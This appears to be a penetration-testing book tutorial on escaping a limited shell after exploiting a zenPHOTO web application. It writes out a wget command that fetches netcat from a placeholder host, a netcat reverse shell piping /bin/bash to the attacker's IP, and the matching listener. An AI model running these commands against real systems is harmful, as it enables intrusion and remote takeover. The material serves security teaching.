Spawning a TTY Shell
We have covered different types of privilege escalation. Now let's look at some examples on how to get a TTY shell on this system. A TTY showcases a simple text output environment, that allows us to type commands and get the output.
How to do it...
- Let's look at the following example, where we have a web application running
zenPHOTO
:
![](https://static.packt-cdn.com/products/9781787121829/graphics/f20d117f-bdec-4915-b4bc-ee2aa95742ce.png)
- The
zenPHOTO
already has a public exploit running, which we get access to via a limited shell:
![](https://static.packt-cdn.com/products/9781787121829/graphics/a1963f1b-398a-4c6a-8924-5513ce1d21b7.png)
- Since this is a limited shell, we try to escape it and get a reverse connection by first uploading
netcat
on the system and then usingnetcat
to gain a backconnect:
wget x.x.x.x/netcat –o /tmp/netcat
![](https://static.packt-cdn.com/products/9781787121829/graphics/0de7c5b6-b45b-4c4f-a670-89d03c750339.png)
- Now we can backconnect using the following command:
netcat <our IP > -e /bin/bash <port number>
![](https://static.packt-cdn.com/products/9781787121829/graphics/9d34ffb4-2423-47e1-8f29-4cf9fb507ffd.png)
- Looking at our Terminal window, where we had our listener setup, we will see a successful connection:
nc –lnvp <port number>
![](https://static.packt-cdn.com/products/9781787121829/graphics/cdcb3b24-e513-43f9-aa5b-5394e0189a0a.png)
Let's get a more stable TTY shell; assuming it's a Linux system, we already have Python installed on it...